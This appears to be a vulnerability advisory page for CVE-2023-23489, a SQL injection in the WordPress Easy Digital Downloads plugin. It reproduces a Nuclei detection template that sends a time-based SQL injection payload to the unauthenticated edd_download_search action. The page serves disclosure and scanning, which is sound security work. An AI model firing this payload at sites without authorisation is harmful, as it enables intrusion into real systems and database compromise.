CVE-2023-23489: WordPress Easy Digital Downloads 3.1.0.2/3.1.0.3 - SQL Injection

日期: 2025-08-01 | 影响软件: WordPress Easy Digital Downloads 3.1.0.2 3.1.0.3 | POC: 已公开

漏洞描述

WordPress Easy Digital Downloads plugin 3.1.0.2 and 3.1.0.3 contains a SQL injection vulnerability in the s parameter of its edd_download_search action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

PoC代码[已公开]

id: CVE-2023-23489

info:
  name: WordPress Easy Digital Downloads 3.1.0.2/3.1.0.3 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Easy Digital Downloads plugin 3.1.0.2 and 3.1.0.3 contains a SQL injection vulnerability in the s parameter of its edd_download_search action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
  remediation: |
    Update to the latest version of Easy Digital Downloads plugin (3.1.0.4 or higher) to mitigate the SQL Injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/c5a6830c-6420-42fc-b20c-8e20224d6f18
    - https://wordpress.org/plugins/easy-digital-downloads/
    - https://www.tenable.com/security/research/tra-2023-2
    - https://nvd.nist.gov/vuln/detail/CVE-2023-23489
    - https://github.com/JoshuaMart/JoshuaMart
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-23489
    cwe-id: CWE-89
    epss-score: 0.80683
    epss-percentile: 0.99107
    cpe: cpe:2.3:a:sandhillsdev:easy_digital_downloads:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: sandhillsdev
    product: easy_digital_downloads
    framework: wordpress
  tags: time-based-sqli,cve,cve2023,easy-digital-downloads,unauth,wpscan,wordpress,wp,wp-plugin,sqli,tenable,sandhillsdev

http:
  - raw:
      - |
        @timeout: 10s
        GET /wp-admin/admin-ajax.php?action=edd_download_search&s=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/easy-digital-downloads/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration_1>=6'
          - 'status_code_1 == 200'
          - 'contains(body_1, "[]") && contains(body_2, "Easy Digital Downloads")'
        condition: and
# digest: 490a00463044022049d0636fe5efd0766f483b9d6cace37d685819259adfa2758d6b92c806b44c7e022033b63a92224979b68749cb391824b710f60d6f5cbb1616aeaae073f57891cc2d:922c64590222798bb761d5b6d8e72950